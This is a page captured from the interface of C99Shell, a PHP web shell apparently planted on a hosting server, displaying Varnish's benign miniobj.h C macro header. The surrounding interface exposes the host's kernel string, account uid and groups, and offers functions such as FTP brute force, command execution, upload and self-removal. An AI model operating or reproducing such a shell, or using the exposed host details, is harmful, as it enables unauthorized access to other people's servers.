!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/include/varnish/   drwxr-xr-x
Free 6182.23 GB of 6263.43 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     miniobj.h (1.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * Written by Poul-Henning Kamp <phk@phk.freebsd.dk>
 *
 * This file is in the public domain.
 *
 */

#ifdef HAVE_EXPLICIT_BZERO
#  define ZERO_OBJ(to, sz)    explicit_bzero(to, sz)
#else
#  define ZERO_OBJ(to, sz)    (void)memset(to, 0, sz)
#endif

#define INIT_OBJ(to, type_magic)                    \
    do {                                \
        (void)memset(to, 0, sizeof *(to));            \
        (to)->magic = (type_magic);                \
    } while (0)

#define ALLOC_OBJ(to, type_magic)                    \
    do {                                \
        (to) = calloc(1, sizeof *(to));                \
        if ((to) != NULL)                    \
            (to)->magic = (type_magic);            \
    } while (0)

#define FREE_OBJ(to)                            \
    do {                                \
        ZERO_OBJ(&(to)->magic, sizeof (to)->magic);        \
        free(to);                        \
        to = NULL;                        \
    } while (0)

#define VALID_OBJ(ptr, type_magic)                    \
    ((ptr) != NULL && (ptr)->magic == (type_magic))

#define CHECK_OBJ(ptr, type_magic)                    \
    do {                                \
        assert((ptr)->magic == type_magic);            \
    } while (0)

#define CHECK_OBJ_NOTNULL(ptr, type_magic)                \
    do {                                \
        assert((ptr) != NULL);                    \
        assert((ptr)->magic == type_magic);            \
    } while (0)

#define CHECK_OBJ_ORNULL(ptr, type_magic)                \
    do {                                \
        if ((ptr) != NULL)                    \
            assert((ptr)->magic == type_magic);        \
    } while (0)

#define CAST_OBJ(to, from, type_magic)                    \
    do {                                \
        (to) = (from);                        \
        if ((to) != NULL)                    \
            CHECK_OBJ((to), (type_magic));            \
    } while (0)

#define CAST_OBJ_NOTNULL(to, from, type_magic)                \
    do {                                \
        (to) = (from);                        \
        AN((to));                        \
        CHECK_OBJ((to), (type_magic));                \
    } while (0)

#define TAKE_OBJ_NOTNULL(to, pfrom, type_magic)                \
    do {                                \
        AN((pfrom));                        \
        (to) = *(pfrom);                    \
        *(pfrom) = NULL;                    \
        CHECK_OBJ_NOTNULL((to), (type_magic));            \
    } while (0)

#define REPLACE(ptr, val)                        \
    do {                                \
        const char *_vreplace = (val);                \
        free(ptr);                        \
        if (_vreplace != NULL) {                \
            ptr = strdup(_vreplace);            \
            AN((ptr));                    \
        } else {                        \
            ptr = NULL;                    \
        }                            \
    } while (0)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0125 ]--